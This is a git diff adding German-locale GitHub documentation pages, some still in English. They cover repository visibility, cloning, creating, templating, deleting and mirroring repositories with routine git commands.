+- Du kannst Projektboards zum Organisieren und Priorisieren deiner Issues und Pull Requests verwenden. Weitere Informationen findest du unter [Informationen zu Projektboards](/github/managing-your-work-on-github/about-project-boards).
+
+{% data reusables.repositories.repo-size-limit %}
+
+## Informationen zur Sichtbarkeit eines Repositorys
+
+Du kannst den Zugriff auf ein Repository einschränken, indem du die Sichtbarkeitstufe des Repositorys auswählst: {% ifversion ghes or ghec %}öffentlich, intern oder privat{% elsif ghae %}privat oder intern{% else %} öffentlich oder privat{% endif %}.
+
+{% ifversion fpt or ghec or ghes %}
+
+Wenn du ein Repository erstellst, kannst du auswählen, ob es öffentlich oder privat sein soll.{% ifversion ghec or ghes %} Wenn du das Repository in einer Organisation erstellst,{% ifversion ghec %} die sich im Besitz eines Unternehmenskontos befindet{% endif %}, kannst du das Repository auch als „intern“ auswählen.{% endif %}{% endif %}{% ifversion fpt %} Repositorys in Organisationen, die {% data variables.product.prodname_ghe_cloud %} verwenden und sich im Besitz eines Unternehmenskontos befinden, können ebenfalls mit interner Sichtbarkeit erstellt werden. Weitere Informationen findest du in der [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories).
+
+{% elsif ghae %}
+
+Wenn du ein Repository erstellst, das sich im Besitz deines persönlichen Kontos befindet, ist das Repository immer privat. Wenn du ein Repository erstellst, das sich im Besitz einer Organisation befindet, kannst du auswählen, ob das Repository privat oder intern sein soll.
+
+{% endif %}
+
+{%- ifversion fpt or ghec %}
+- Öffentliche Repositorys sind für alle Benutzer im Internet zugänglich.
+- Nur du hast Zugriff auf private Repositorys, außerdem noch Personen, denen du explizit Zugriff gewährt hast, und bestimmte Organisationsmitglieder auf Organisationsrepositorys.
+{%- elsif ghes %}
+- Wenn sich {% data variables.location.product_location %} nicht im privaten Modus oder hinter einer Firewall befindet, verfügen alle Personen im Internet über Zugriff auf öffentliche Repositorys. Andernfalls sind öffentliche Repositorys für alle Personen verfügbar, die {% data variables.location.product_location %} nutzen. Dies schließt auch externe Projektmitarbeiter ein.
+- Nur du hast Zugriff auf private Repositorys, außerdem noch Personen, denen du explizit Zugriff gewährt hast, und bestimmte Organisationsmitglieder auf Organisationsrepositorys.
+{%- elsif ghae %}
+- Nur du hast Zugriff auf private Repositorys, außerdem noch Personen, denen du explizit Zugriff gewährt hast, und bestimmte Organisationsmitglieder auf Organisationsrepositorys.
+{%- endif %} {%- ifversion ghec or ghes or ghae %}
+- Alle Unternehmensmitglieder verfügen über Zugriff auf interne Repositorys. Weitere Informationen findest du unter [Informationen zu internen Repositorys](#about-internal-repositories).
+{%- endif %}
+
+Organisationsinhaber haben immer Zugriff auf jedes Repository, das in einer Organisation erstellt wurde. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+Personen mit Administratorberechtigungen für ein Repository können die Sichtbarkeit eines vorhandenen Repositorys ändern. Weitere Informationen findest du unter [Festlegen der Sichtbarkeit des Repositorys](/github/administering-a-repository/setting-repository-visibility).
+
+{% ifversion ghes or ghec or ghae %}
+## Informationen zu internen Repositorys
+
+{% data reusables.repositories.about-internal-repos %} Weitere Informationen zu InnerSource findest du im Whitepaper [Eine Einführung in InnerSource](https://resources.github.com/whitepapers/introduction-to-innersource/) von {% data variables.product.prodname_dotcom %}.
+
+{% ifversion ghec %} {% note %}
+
+**Hinweis:** Du kannst nur interne Repositorys erstellen, wenn du {% data variables.product.prodname_ghe_cloud %} mit einem Unternehmenskonto verwendest. Ein Unternehmenskonto ist eine besondere Art von Konto, das einen zentralen Verwaltungspunkt für mehrere Organisationen bietet. Weitere Informationen findest du unter [Typen von {% data variables.product.prodname_dotcom %}-Konten](/get-started/learning-about-github/types-of-github-accounts).
+
+{% endnote %} {% endif %}
+
+Alle Unternehmensmitglieder verfügen über Berechtigungen für das interne Repository, doch interne Repositorys sind für Personen {% ifversion fpt or ghec %}außerhalb des Unternehmens,{% else %} die keine Mitglieder einer Organisation sind{% endif %}, nicht sichtbar. Dazu gehören auch externe Projektmitarbeiter*innen in Organisationsrepositorys. Weitere Informationen findest du unter [Rollen in einem Unternehmen](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members) und [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+{% ifversion ghes %} {% note %}
+
+**Hinweis:** Benutzer*innen müssen Teil einer Organisation sein, um Unternehmensmitglieder zu sein und Zugriff auf interne Repositorys zu haben. Wenn ein {% data variables.location.product_location %}-Benutzer kein Mitglieder einer Organisation ist, hat dieser Benutzer keinen Zugriff auf interne Repositorys.
+
+{% endnote %} {% endif %}
+
+{% data reusables.repositories.internal-repo-default %}
+
+{% ifversion ghec %} Sofern dein Unternehmen nicht {% data variables.product.prodname_emus %} verwendet, können Mitglieder{% else %}Mitglieder{% endif %} des Unternehmens jedes interne Repository forken, das einer Organisation im Unternehmen gehört. Das geforkte Repository gehört dem persönlichen Konto des Mitglieds, und die Sichtbarkeit des Forks ist privat. Wenn Benutzer*innen aus allen Organisationen im Besitz des Unternehmens entfernt werden, werden die Forks interner Repositorys diser Benutzer*innen automatisch entfernt.
+
+{% ifversion ghec %} {% note %}
+
+**Hinweis:** {% data variables.enterprise.prodname_managed_users_caps %} können keine internen Repositorys forken. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts).
+
+{% endnote %} {% endif %} {% endif %}
+
+## Begrenzungen für die Anzeige von Inhalten und Diffs in einem Repository
+
+Bestimmte Arten von Ressourcen können ziemlich groß sein, wodurch ihre Verarbeitung auf {% data variables.product.product_name %} sehr aufwendig ist. Daher werden Begrenzungen festgelegt, um sicherzustellen, dass Anforderungen in angemessener Zeit abgeschlossen werden.
+
+Die meisten der nachfolgend genannten Begrenzungen gelten sowohl für {% data variables.product.product_name %} als auch für die API.
+
+### Textbeschränkungen
+
+Textdateien über **512 KB** werden immer als Nur-Text angezeigt. Die Syntax des Codes ist nicht hervorgehoben, und Dateien mit Fließtext werden nicht in HTML konvertiert (z. B. Markdown, AsciiDoc *etc.* ).
+
+Textdateien über **5 MB** sind nur über ihre unformatierten URLs verfügbar, die über `{% data variables.product.raw_github_com %}` bereitgestellt werden, z. B. `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Klicke auf die Schaltfläche **Roh**, um die unformatierte URL einer Datei zu erhalten.
+
+### Diff-Beschränkungen
+
+Da Diffs sehr groß werden können, gelten Diff-Beschränkungen für Commits, Pull Requests und Vergleichsansichten:
+
+- In einem Pull Request darf kein Gesamtdiff *20.000 Zeilen, die geladen werden können,* oder *1 MB* rohe Diffdaten überschreiten.
+- Kein einzelnes Diff darf *20.000 Zeilen, die geladen werden können,* oder *500 KB* rohe Diffdaten überschreiten. *Vierhundert Zeilen* und *20 KB* werden für eine einzelne Datei automatisch geladen.
+- Die Höchstzahl an Dateien in einem einzigen Diff liegt bei *300*.
+- Die Höchstzahl renderbarer Dateien (wie Bilder, PDF- und GeoJSON-Dateien) in einem einzigen Diff liegt bei *25*.
+
+Einige Teile einer eingeschränkten Diff werden möglicherweise angezeigt, aber alles, was über die Begrenzung hinausgeht, wird nicht angezeigt.
+
+### Commit-Listenbeschränkung
+
+Die Seiten „Ansicht vergleichen“ und „Pull Requests“ zeigen eine Liste von Commits zwischen den Überarbeitungen `base` und `head` an. Diese Listen sind auf **250** Commits beschränkt. Wenn diese Grenze überschritten wird, gibt ein Hinweis an, dass weitere Commits vorhanden sind (aber sie werden nicht angezeigt).
+
+## Weitere Informationsquellen
+
+- [Erstellen eines neuen Repositorys](/articles/creating-a-new-repository)
+- [Informationen zu Forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)
+- [Zusammenarbeiten mithilfe von Issues und Pull Requests](/categories/collaborating-with-issues-and-pull-requests)
+- [Verwalten deiner Arbeit auf {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)
+- [Verwalten eines Repositorys](/categories/administering-a-repository)
+- [Visualisieren von Repositorydaten mit Graphen](/categories/visualizing-repository-data-with-graphs/)
+- [Informationen zu Wikis](/communities/documenting-your-project-with-wikis/about-wikis)
+- [Glossar zu {% data variables.product.prodname_dotcom %}](/articles/github-glossary)
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
new file mode 100644
index 0000000000..0fd1cafda3
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
@@ -0,0 +1,97 @@
+---
+title: Cloning a repository
+intro: 'When you create a repository on {% data variables.location.product_location %}, it exists as a remote repository. You can clone your repository to create a local copy on your computer and sync between the two locations.'
+redirect_from:
+  - /articles/cloning-a-repository
+  - /articles/cloning-a-repository-from-github
+  - /github/creating-cloning-and-archiving-repositories/cloning-a-repository
+  - /github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+## About cloning a repository
+
+You can clone a repository from {% data variables.location.product_location %} to your local computer to make it easier to fix merge conflicts, add or remove files, and push larger commits. When you clone a repository, you copy the repository from {% data variables.location.product_location %} to your local machine.
+
+Cloning a repository pulls down a full copy of all the repository data that {% data variables.location.product_location %} has at that point in time, including all versions of every file and folder for the project. You can push your changes to the remote repository on {% data variables.location.product_location %}, or pull other people's changes from {% data variables.location.product_location %}. For more information, see "[Using Git](/github/getting-started-with-github/using-git)".
+
+You can clone your existing repository or clone another person's existing repository to contribute to a project.
+
+## Cloning a repository
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.copy-clone-url %}
+{% data reusables.command_line.open_the_multi_os_terminal %}
+{% data reusables.command_line.change-current-directory-clone %}
+{% data reusables.command_line.git-clone-url %}
+{% data reusables.command_line.local-clone-created %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To clone a repository locally, use the `repo clone` subcommand. Replace the `repository` parameter with the repository name. For example, `octo-org/octo-repo`, `monalisa/octo-repo`, or `octo-repo`. If the `OWNER/` portion of the `OWNER/REPO` repository argument is omitted, it defaults to the name of the authenticating user.
+
+```shell
+gh repo clone REPOSITORY
+```
+
+You can also use the GitHub URL to clone a repository.
+
+```shell
+gh repo clone https://github.com/PATH-TO/REPOSITORY
+```
+
+{% endcli %}
+
+{% desktop %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.open-with-github-desktop %}
+4. Follow the prompts in {% data variables.product.prodname_desktop %} to complete the clone.
+
+For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)."
+
+{% enddesktop %}
+
+## Cloning an empty repository
+
+An empty repository contains no files. It's often made if you don't initialize the repository with a README when creating it.
+
+{% data reusables.repositories.navigate-to-repo %}
+2. To clone your repository using the command line using HTTPS, under "Quick setup", click {% octicon "clippy" aria-label="The clipboard icon" %}. To clone the repository using an SSH key, including a certificate issued by your organization's SSH certificate authority, click **SSH**, then click {% octicon "clippy" aria-label="The clipboard icon" %}.
+   ![Empty repository clone URL button](/assets/images/help/repository/empty-https-url-clone-button.png)
+
+   Alternatively, to clone your repository in Desktop, click {% octicon "desktop-download" aria-label="The desktop download button" %} **Set up in Desktop** and follow the prompts to complete the clone.
+   ![Empty repository clone desktop button](/assets/images/help/repository/empty-desktop-clone-button.png)
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+{% data reusables.command_line.change-current-directory-clone %}
+{% data reusables.command_line.git-clone-url %}
+{% data reusables.command_line.local-clone-created %}
+
+## Troubleshooting cloning errors
+
+When cloning a repository it's possible that you might encounter some errors.
+
+If you're unable to clone a repository, check that:
+
+- You can connect using HTTPS. For more information, see "[HTTPS cloning errors](/github/creating-cloning-and-archiving-repositories/https-cloning-errors)."
+- You have permission to access the repository you want to clone. For more information, see "[Error: Repository not found](/github/creating-cloning-and-archiving-repositories/error-repository-not-found)."
+- The default branch you want to clone still exists. For more information, see "[Error: Remote HEAD refers to nonexistent ref, unable to checkout](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors#error-remote-head-refers-to-nonexistent-ref-unable-to-checkout)."
+
+{% ifversion fpt or ghec %}
+
+## Further reading
+
+- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"
+{% endif %}
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
new file mode 100644
index 0000000000..5f42079964
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
@@ -0,0 +1,58 @@
+---
+title: Ein neues Repository erstellen
+intro: 'Du kannst ein neues Repository in deinem persönlichen Konto oder in jeder Organisation erstellen, für die du ausreichend Berechtigungen hast.'
+redirect_from:
+  - /creating-a-repo
+  - /articles/creating-a-repository-in-an-organization
+  - /articles/creating-a-new-organization-repository
+  - /articles/creating-a-new-repository
+  - /articles/creating-an-internal-repository
+  - /github/setting-up-and-managing-your-enterprise-account/creating-an-internal-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-an-internal-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-new-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: c399ac1a0881fe593087dada707296b226a5d9d8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145132345'
+---
+{% tip %}
+
+**Tipp:** Besitzer können die Berechtigungen zum Erstellen von Repositorys in einer Organisation einschränken. Weitere Informationen findest du unter [Einschränken der Erstellung von Repositorys in deiner Organisation](/articles/restricting-repository-creation-in-your-organization).
+
+{% endtip %}
+
+{% tip %}
+
+**Tipp:** Du kannst ein Repository auch mithilfe der {% data variables.product.prodname_cli %} erstellen. Weitere Informationen findest du unter „[`gh repo create`](https://cli.github.com/manual/gh_repo_create)“ in der Dokumentation zur {% data variables.product.prodname_cli %}.
+
+{% endtip %}
+
+{% data reusables.repositories.create_new %}
+2. Um ein Repository mit der Verzeichnisstruktur und den Dateien eines vorhandenen Repositorys zu erstellen, kannst du optional auch eine Repositoryvorlage aus der Dropdownliste **Eine Vorlage auswählen** auswählen. Angezeigt werden Repository-Vorlagen, die im Besitz von Dir und von Organisationen sind, bei denen du Mitglied bist, oder die du bereits früher verwendet hast. Weitere Informationen findest du unter [Erstellen eines Repositorys aus einer Vorlage](/articles/creating-a-repository-from-a-template).
+  ![Dropdownmenü „Vorlage“](/assets/images/help/repository/template-drop-down.png)
+3. Wenn du dich für eine Vorlage entschieden hast, kannst du optional die Verzeichnisstruktur und Dateien aller Verzweigungen in die Vorlage aufnehmen, anstatt nur den Standardbranch, indem du **Alle Verzweigungen einbeziehen** auswählst.
+    ![Kontrollkästchen "Alle Verzweigungen einschließen"](/assets/images/help/repository/include-all-branches.png)
+3. Wähle im Dropdownmenü „Owner“ (Inhaber) das Konto aus, unter dem du das Repository erstellen möchtest.
+   ![Besitzer-Dropdownmenü](/assets/images/help/repository/create-repository-owner.png) {% data reusables.repositories.repo-name %} {% data reusables.repositories.choose-repo-visibility %}
+6. Wenn du keine Vorlage verwendest, kannst du dein Repository mit einigen optionalen Elementen vorab befüllen. Wenn du ein vorhandenes Repository in {% data variables.product.product_name %} importierst, wähle keine dieser Optionen aus, da dies zu Mergekonflikten führen könnte. Du kannst mit der Benutzeroberfläche neue Dateien erstellen oder hinzufügen oder später mit der Befehlszeile neue Dateien hinzufügen. Weitere Informationen findest du unter [Importieren eines Git-Repositorys mithilfe der Befehlszeile](/articles/importing-a-git-repository-using-the-command-line/), [Hinzufügen einer Datei zu einem Repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line) und [Behandeln von Mergekonflikten](/articles/addressing-merge-conflicts/).
+    - Du kannst eine README-Datei erstellen, die eine Beschreibung deines Projekts enthält. Weitere Informationen findest du unter [Informationen zu README-Dateien](/articles/about-readmes/).
+    - Du kannst eine *.gitignore*-Datei erstellen, die Regeln für das Ignorieren enthält. Weitere Informationen findest du unter [Ignorieren von Dateien](/github/getting-started-with-github/ignoring-files).{% ifversion fpt or ghec %}
+    - Du kannst bei Bedarf eine Softwarelizenz zu deinem Projekt hinzufügen. Weitere Informationen findest du unter [Lizenzieren eines Repositorys](/articles/licensing-a-repository).{% endif %} {% data reusables.repositories.select-marketplace-apps %} {% data reusables.repositories.create-repo %} {% ifversion fpt or ghec %}
+9. Unten auf der daraufhin angezeigten Seite zur Schnelleinrichtung kannst du unter „Import code from an old repository“ (Code von einem alten Repository importieren) ein Projekt in dein neues Repository importieren. Klicke dazu auf **Code importieren**.
+{% endif %}
+
+## Weiterführende Themen
+
+- [Verwalten des Zugriffs auf die Repositorys deiner Organisation](/articles/managing-access-to-your-organization-s-repositories)
+- [Open-Source-Leitfäden](https://opensource.guide/){% ifversion fpt or ghec %}
+- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md
new file mode 100644
index 0000000000..a66e99ee9a
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md
@@ -0,0 +1,57 @@
+---
+title: Creating a repository from a template
+intro: You can generate a new repository with the same directory structure and files as an existing repository.
+redirect_from:
+  - /articles/creating-a-repository-from-a-template
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-from-a-template
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-repository-from-a-template
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Create from a template
+---
+## About repository templates
+
+Anyone with read permissions to a template repository can create a repository from that template. For more information, see "[Creating a template repository](/articles/creating-a-template-repository)."
+
+{% tip %}
+
+**Tip**: You can also create a repository from a template using the {% data variables.product.prodname_cli %}. For more information, see "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" in the {% data variables.product.prodname_cli %} documentation.
+
+{% endtip %}
+
+You can choose to include the directory structure and files from only the default branch of the template repository or to include all branches. Branches created from a template have unrelated histories, which means you cannot create pull requests or merge between the branches.
+
+Creating a repository from a template is similar to forking a repository, but there are important differences:
+- A new fork includes the entire commit history of the parent repository, while a repository created from a template starts with a single commit.
+- Commits to a fork don't appear in your contributions graph, while commits to a repository created from a template do appear in your contribution graph.
+- A fork can be a temporary way to contribute code to an existing project, while creating a repository from a template starts a new project quickly.
+
+For more information about forks, see "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)."
+
+## Creating a repository from a template
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Above the file list, click **Use this template**.
+{% ifversion fpt or ghec %}
+1. Select **Create a new repository**.
+
+   ![Use this template button](/assets/images/help/repository/use-this-template-button.png)
+
+   {% note %}
+
+   **Note:** Alternatively, you can open the template in a codespace and publish your work to a new repository later. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)."
+
+   {% endnote %}
+{% endif %}
+{% data reusables.repositories.owner-drop-down %}
+{% data reusables.repositories.repo-name %}
+{% data reusables.repositories.choose-repo-visibility %}
+1. Optionally, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**.
+  ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png)
+{% data reusables.repositories.select-marketplace-apps %}
+8. Click **Create repository from template**.
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md
new file mode 100644
index 0000000000..f0fac937af
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md
@@ -0,0 +1,36 @@
+---
+title: Eine Repository-Vorlage erstellen
+intro: 'Du kannst ein vorhandenes Repository zu einer Vorlage machen, damit du und andere Benutzer*innen neue Repositorys mit derselben Verzeichnisstruktur, denselben Branches und denselben Dateien erstellen können.'
+permissions: Anyone with admin permissions to a repository can make the repository a template.
+redirect_from:
+  - /articles/creating-a-template-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-template-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-template-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Create a template repo
+ms.openlocfilehash: 1ae0c562f1d92e8184ae749199f609bb223748d4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132339'
+---
+{% note %}
+
+**Hinweis**: Dein Vorlagenrepository darf keine Dateien enthalten, die mit {% data variables.large_files.product_name_short %} gespeichert wurden.
+
+{% endnote %}
+
+Um eine Repository-Vorlage zu erstellen, musst du ein Repository erstellen und es anschließend zu einer Vorlage machen. Weitere Informationen zum Erstellen eines Repositorys findest du unter „[Erstellen eines neuen Repositorys](/articles/creating-a-new-repository)“.
+
+Nachdem du dein Repository als Vorlage erstellt hast, kann jeder, der Zugriff auf das Repository hat, ein neues Repository mit derselben Verzeichnisstruktur und -dateien wie dein Standardbranch generieren. Du kannst auch auswählen, dass alle anderen Branches in dein Repository einbezogen werden. Von einer Vorlage erstellte Branches verfügen über nicht verwandte Historien, sodass du keine Pull Requests erstellen oder zwischen den Branches zusammenführen kannst. Weitere Informationen findest du unter „[Erstellen eines Vorlagenrepositorys](/articles/creating-a-repository-from-a-template)“.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+1. Wähle **Vorlagenrepository** aus.
+  ![Kontrollkästchen zum Umwandeln eines Repositorys in eine Vorlage](/assets/images/help/repository/template-repository-checkbox.png)
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
new file mode 100644
index 0000000000..c8c892e810
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
@@ -0,0 +1,32 @@
+---
+title: Ein Repository nur für Issues erstellen
+intro: '{% data variables.product.product_name %} bietet keine Berechtigungen für den ausschließlichen Zugriff auf Issues. Du kannst zu diesem Zweck aber ein zweites Repository erstellen, das nur die Issues enthält.'
+redirect_from:
+  - /articles/issues-only-access-permissions
+  - /articles/is-there-issues-only-access-to-organization-repositories
+  - /articles/creating-an-issues-only-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-an-issues-only-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Issues-only repository
+ms.openlocfilehash: 76450c6d3bddd02ab3e389b35e6ce67d01ffd771
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132333'
+---
+1. Erstelle ein **privates** Repository, um den Quellcode über dein Projekt zu hosten.
+2. Erstelle ein zweites Repository mit den gewünschten Berechtigungen, um den Issue-Tracker zu hosten.
+3. Füge eine README-Datei zum Issues-Repository hinzu, in der du den Zweck dieses Repositorys erläuterst und zum Issues-Abschnitt verknüpfst.
+4. Lege deine Mitarbeiter oder Teams fest, um den Zugriff auf die Repositorys wie gewünscht zu verwalten.
+
+Benutzer mit Schreibzugriff auf beide Repositorys können zwischen den Repositorys auf Issues verweisen und Issues schließen. Benutzer ohne die erforderlichen Berechtigungen sehen nur Verweise mit sehr wenigen Informationen.
+
+Wenn du beispielsweise einen Commit mit der Mitteilung `Fixes organization/public-repo#12` an den Standard-Branch des privaten Repositorys überträgst, würde der Issue geschlossen, aber nur Benutzer mit den entsprechenden Berechtigungen könnten den Repository-übergreifenden Verweis auf den Commit sehen, der den Issue geschlossen hat. Benutzern ohne diese Berechtigungen wird ein Verweis angezeigt, aber ohne detaillierte Angaben.
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
new file mode 100644
index 0000000000..f9f2013c0c
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
@@ -0,0 +1,40 @@
+---
+title: Deleting a repository
+intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository.
+redirect_from:
+  - /delete-a-repo
+  - /deleting-a-repo
+  - /articles/deleting-a-repository
+  - /github/administering-a-repository/deleting-a-repository
+  - /github/administering-a-repository/managing-repository-settings/deleting-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %}
+
+{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %}
+
+{% warning %}
+
+**Warnings**:
+
+- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone.
+- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository.
+
+{% endwarning %}
+
+Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+2. Under Danger Zone, click **Delete this repository**.
+   ![Repository deletion button](/assets/images/help/repository/repo-delete.png)
+3. **Read the warnings**.
+4. To verify that you're deleting the correct repository, type the name of the repository you want to delete.
+   ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png)
+5. Click **I understand the consequences, delete this repository**.
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
new file mode 100644
index 0000000000..e1a5418d54
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
@@ -0,0 +1,110 @@
+---
+title: Ein Repository duplizieren
+intro: 'Um einen Mirror eines Repository zu behalten, ohne es zu forken, kannst du einen speziellen Klonbefehl ausführen und dann einen Spiegel-Push in das neue Repository durchführen.'
+redirect_from:
+  - /articles/duplicating-a-repo
+  - /articles/duplicating-a-repository
+  - /github/creating-cloning-and-archiving-repositories/duplicating-a-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/duplicating-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: 4c893597918cb4837e88d13aa6a51b769ab13dd1
+ms.sourcegitcommit: 938ec7898dddd5da5481ad32809d68e4127e1948
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/07/2022
+ms.locfileid: '148135486'
+---
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Hinweis:** Wenn du ein Projekt auf einem anderen Versionskontrollsystem gehostet hast, kannst du dein Projekt automatisch mit dem {% data variables.product.prodname_dotcom %}-Importer in {% data variables.product.prodname_dotcom %} importieren. Weitere Informationen findest du unter [Informationen über {% data variables.product.prodname_dotcom %}-Importer](/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer).
+
+{% endnote %}
+
+{% endif %}
+
+Bevor du das ursprüngliche Repository an deine neue Kopie oder _Spiegelung_ des Repositorys übertragen kannst, musst du [das neue Repository](/articles/creating-a-new-repository) unter {% data variables.location.product_location %} erstellen. In diesen Beispielen sind `exampleuser/new-repository` oder `exampleuser/mirrored` die Spiegel.
+
+## Ein Repository spiegeln
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Erstelle einen leeren Klon des Repositorys.
+  ```shell
+  $ git clone --bare https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/OLD-REPOSITORY.git
+  ```
+3. Führe den Spiegel-Push in das neue Repository durch.
+  ```shell
+  $ cd OLD-REPOSITORY.git
+  $ git push --mirror https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/NEW-REPOSITORY.git
+  ```
+4. Entferne das temporäre lokale Repository, das du früher erstellt hast.
+  ```shell
+  $ cd ..
+  $ rm -rf OLD-REPOSITORY.git
+  ```
+
